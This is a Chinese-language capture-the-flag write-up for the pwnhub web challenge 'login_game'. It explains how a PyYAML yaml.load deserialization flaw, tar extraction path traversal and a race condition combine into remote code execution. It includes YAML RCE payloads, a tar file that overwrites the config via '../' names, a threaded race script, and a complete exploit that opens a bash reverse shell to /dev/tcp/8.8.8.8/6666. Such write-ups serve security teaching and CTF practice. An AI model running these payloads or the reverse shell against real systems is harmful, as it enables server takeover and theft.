login_game

0x00 源码

pwnhub的一道web题目,题目附件中给出源码,项目结构如下

|– login_game
|– application.py
|– requirements.txt
|– config
| |– userConfig.yaml
|– static
|– templates
| |– admin.html
| |– index.html
| |– login.html
| |– result.html
|– uploads

其中application.py的源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from flask import Flask, render_template, request, redirect, session
from hashlib import md5
import yaml
import zipfile
import tarfile
import os
import re


app = Flask(__name__)
app.config["SECRET_KEY"] = os.environ.get('SECRET_KEY')


def extractFile(filepath, type):

extractdir = filepath.split('.')[0]
if not os.path.exists(extractdir):
os.makedirs(extractdir)

if type == 'tar':
tf = tarfile.TarFile(filepath)
tf.extractall(extractdir)
return tf.getnames()

if type == 'zip':
zf = zipfile.ZipFile(filepath, 'r')
zf.extractall(extractdir)
return zf.namelist()


@app.route('/', methods=['GET'])
def main():
if not session.get('user'):
return redirect('/login')
else:
fn = 'uploads/' + md5(session.get('user').encode()).hexdigest()
session['fn'] = fn
if not os.path.exists(fn):
os.makedirs(fn)
return render_template('index.html')


@app.route('/upload', methods=['GET', 'POST'])
def upload():

if request.method == 'GET':
return redirect('/')

if request.method == 'POST':
upFile = request.files['file']

if re.search(r"\.\.|/", upFile.filename, re.M|re.I) != None:
return "<script>alert('Hacker!');window.location.href='/upload'</script>"

savePath = f"{session['fn']}/{upFile.filename}"

upFile.save(savePath)

if tarfile.is_tarfile(savePath):
zipDatas = extractFile(savePath, 'tar')
return render_template('result.html', path=savePath, files=zipDatas)
elif zipfile.is_zipfile(savePath):
tarDatas = extractFile(savePath, 'zip')
return render_template('result.html', path=savePath, files=tarDatas)
else:
return f"<script>alert('{upFile.filename} upload successfully');history.back(-1);</script>"


@app.route('/login', methods=['GET', 'POST'])
def login():
with open('config/userConfig.yaml', 'w') as f:
data = {'user': 'Admin', 'host': '127.0.0.1', 'info': 'System super administrator and super user.'}
f.write(yaml.dump(data))

if request.method == 'GET':
return render_template('login.html')

if request.method == 'POST':
username = request.form.get('username')
if username and username == "Admin":
with open('config/userConfig.yaml', 'rb') as f:
userConfig = yaml.load(f.read())
if userConfig['host'] == request.remote_addr:
session['user'] = userConfig['user']
return render_template('admin.html', username=userConfig['user'], message=userConfig['info'])
else:
return "<script>alert('Can only login locally');history.back(-1);</script>"
elif username:
session['user'] = username
return redirect('/')


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)

0x01 考点

1. yaml.load() 反序列化漏洞

YAML 5.1版本后弃⽤了yaml.load(file)这个⽤法,因为觉得很不安全,5.1版本之后就修改了需要指定Loader,通过默认加 载器(FullLoader)禁⽌执⾏任意函数,该load函数也变得更加安全

可以查看requirements.txt,本题⽬中的yaml版本是5.3,这个版本存在rce漏洞

CVE-2020-1747,CVSS 评分9.8,影响 5.3.1 之前的版本。

  当不受信任的 YAML 文件通过 full_load 方法或通过 FullLoader 负载器处理时,易受攻击的 PyYAML 库易受任意代码执行漏洞的影响。攻击者可利用该漏洞通过滥用 python/object/new 构建器在系统上滥用任意代码。

可以使用现成的poc CVE-2020-1747 PyYAML PoC (github.com)

2. TarFile.extractall 目录穿越

在 Web 应用中,通常需要解压上传后的压缩文件。在 Python 中,很多人都知道 TarFile.extractall 与 TarFile.extract 函数容易受到 Zip Slip 攻击。攻击者通过篡改压缩包中的文件名,使其包含路径遍历(../)字符,从而发起攻击。这就是为什么压缩文件应该始终被视为不受信来源的原因。zipfile.extractall 与 zipfile.extract 函数可以对 zip 内容进行清洗,从而防止这类路径遍历漏洞。

3. 条件竞争

条件竞争就是两个或者多个进程或者线程同时处理一个资源(全局变量,文件)产生非预想的执行效果,从而产生程序执行流的改变,从而达到攻击的目的。
条件竞争需要如下的条件:

  1. 并发,即至少存在两个并发执行流。这里的执行流包括线程,进程,任务等级别的执行流。
  2. 共享对象,即多个并发流会访问同一对象。常见的共享对象有共享内存,文件系统,信号。一般来说,这些共享对象是用来使得多个程序执行流相互交流。此外,我们称访问共享对象的代码为临界区。在正常写代码时,这部分应该加锁。
  3. 改变对象,即至少有一个控制流会改变竞争对象的状态。因为如果程序只是对对象进行读操作,那么并不会产生条件竞争。

0x02 利用思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def login():
with open('config/userConfig.yaml', 'w') as f:
data = {'user': 'Admin', 'host': '127.0.0.1', 'info': 'System super administrator and super user.'}
f.write(yaml.dump(data)) #重写覆盖原本的config/userConfig.yaml

if request.method == 'GET':
return render_template('login.html')

if request.method == 'POST':
username = request.form.get('username')
if username and username == "Admin":
with open('config/userConfig.yaml', 'rb') as f:
userConfig = yaml.load(f.read()) #yaml.load()反序列化
if userConfig['host'] == request.remote_addr:
session['user'] = userConfig['user']
return render_template('admin.html', username=userConfig['user'], message=userConfig['info'])
else:
return "<script>alert('Can only login locally');history.back(-1);</script>"
elif username:
session['user'] = username
return redirect('/')

在题目源码中存在login函数,访问时会要求先进行登录,源码中首先把config/userConfig.yaml给重置一遍,再判断username是否为Admin,如果为Admin就会调用yaml.load读取userConfig.yaml来判断其中的host是否等于请求的ip地址,显然request.remote_addr无法通过改变请求头来伪造成127.0.0.1,如果不是Admin就会把用户名存在session中然后进入文件上传功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def extractFile(filepath, type):

extractdir = filepath.split('.')[0]
if not os.path.exists(extractdir):
os.makedirs(extractdir)

if type == 'tar':
tf = tarfile.TarFile(filepath)
tf.extractall(extractdir)
return tf.getnames()

if type == 'zip':
zf = zipfile.ZipFile(filepath, 'r')
zf.extractall(extractdir)
return zf.namelist()

而在upload函数中有一个对于上传压缩包的处理函数extractFile,这个函数的作用是将tar和zip进行解压,而其中的tar解压存在目录穿越漏洞,可以覆盖其他文件,那么可以想到的利用思路就是通过目录穿越上传一个恶意的yaml文件来覆盖原先的userConfig.yaml,再使用login函数中的yaml.load()反序列化来触发,而这个上传时机需要在 yaml.dump() 和 yaml.load() 中间,这里就会使用到条件竞争

0x03 解题过程

先准备好payload

1
2
3
4
5
6
7
8
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('cmd')"

!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').system('cmd')"]

以上两种均可rce

1
2
3
4
tar = tarfile.open("1.tar","w")
tar.add("1.yaml","../../../config/userConfig.yaml")
tar.close()
tar_file = {'file':('1.tar',open('1.tar','rb').read())}

将写好的payload写入tar压缩包中,命名为../../../config/userConfig.yaml用于覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
def upload():
while True:
s.post(url + 'login', data=login_data)
s.post(url+'upload',files=tar_file)

def Admin():
while True:
t=s.post(url + 'login', data=Admin_data).text
print(t)

for i in range(0,10):
threading.Thread(target=upload).start()
threading.Thread(target=Admin).start()

最后利用条件竞争来同时上传文件和login,成功反弹shell

1
2
3
ctfer@fd94a5cf6adb:/home/app/src$ cat /flag
cat /flag
flag{d24B4_5a13ef1afde4B6A_62aceta2hf}

0x04 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import threading
import tarfile

url='http://121.40.89.206:23631/'
login_data={'username':'mac','password':'123'}
Admin_data={'username':'Admin','password':'123'}
s=requests.session()

with open("1.yaml","w") as file:
file.write('''!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').system('bash -c \\"bash -i >& /dev/tcp/8.8.8.8/6666 0>&1\\"')"]''')

tar = tarfile.open("1.tar","w")
tar.add("1.yaml","../../../config/userConfig.yaml")
tar.close()
tar_file = {'file':('1.tar',open('1.tar','rb').read())}

def upload():
while True:
s.post(url + 'login', data=login_data)
s.post(url+'upload',files=tar_file)

def Admin():
while True:
t=s.post(url + 'login', data=Admin_data).text
print(t)

for i in range(0,10):
threading.Thread(target=upload).start()
threading.Thread(target=Admin).start()